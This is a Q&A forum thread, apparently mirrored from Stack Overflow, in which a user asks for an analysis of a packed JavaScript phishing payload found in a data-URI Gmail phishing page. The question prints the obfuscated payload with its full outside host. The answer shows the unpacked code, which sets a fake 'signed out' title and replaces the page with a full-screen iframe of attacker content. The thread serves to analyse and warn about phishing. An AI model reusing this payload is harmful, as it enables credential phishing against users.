【问题标题】:How to breakdown this JavaScript phishing code?如何分解此 JavaScript 网络钓鱼代码?
【发布时间】:2017-08-22 09:27:56
【问题描述】:

我的一个朋友被钓鱼使用了一种新技术,即在地址栏中编码 html 消息。解码它我发现了这个:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3.2.j="i h k l n";m{(g(){f 1=3.2.9(\'1\');1.8=\'7/x-4\';1.a=\'b 4\';1.c=\'\';2.p(\'B\')[0].C(1)}())}E(e){}3.2.z.y="<6 s=\\"r://q.t/u/w.v\\" o=\\"D: 0;A: 5%;d:5%\\"></6>";',41,41,'|link|document|window|icon|100|iframe|image|type|createElement|rel|shortcut|href|height||var|function|have|You|title|been|Signed|try|out|style|getElementsByTagName|rosettatranslation|http|src|top|ourclients|html|oreiwn||outerHTML|body|width|head|appendChild|border|catch'.split('|'),0,{}))

我只需要详细了解这段代码的作用。

【问题讨论】:

  • No on here 将分析这个缩小的代码。提供一个最小的工作示例。
  • 代码在转换为 base64 并插入 data:text/html 时,在位置栏中为用户提供了一个 gmail 网络钓鱼页面,我正在尝试写一篇文章来警告人们这种新型网络钓鱼 texhnique 非常感谢您的回复

标签: javascript html email xss phishing


【解决方案1】:

代码被打包,可能只是为了让数据更短。将其放入UnPacker 给出:

window.document.title = "You have been Signed out";
try {
    (function()
        {
        var link = window.document.createElement('link');
        link.type = 'image/x-icon';
        link.rel = 'shortcut icon';
        link.href = '';
        document.getElementsByTagName('head')[0].appendChild(link)
    }
    ())
} catch(e) {
}
window.document.body.outerHTML = "<iframe src=\"http://[...].top/ourclients/oreiwn.html\" style=\"border: 0;
    width: 100%;
    height:100%\"></iframe>";

因此,它会修改页面以添加包含其他网站内容的 iframe。

【讨论】:

    猜你喜欢
    • 2014-12-27
    • 2017-11-27
    • 1970-01-01
    • 2011-03-02
    • 1970-01-01
    • 2012-04-14
    • 2020-01-16
    • 1970-01-01
    • 2023-04-10
    相关资源
    最近更新 更多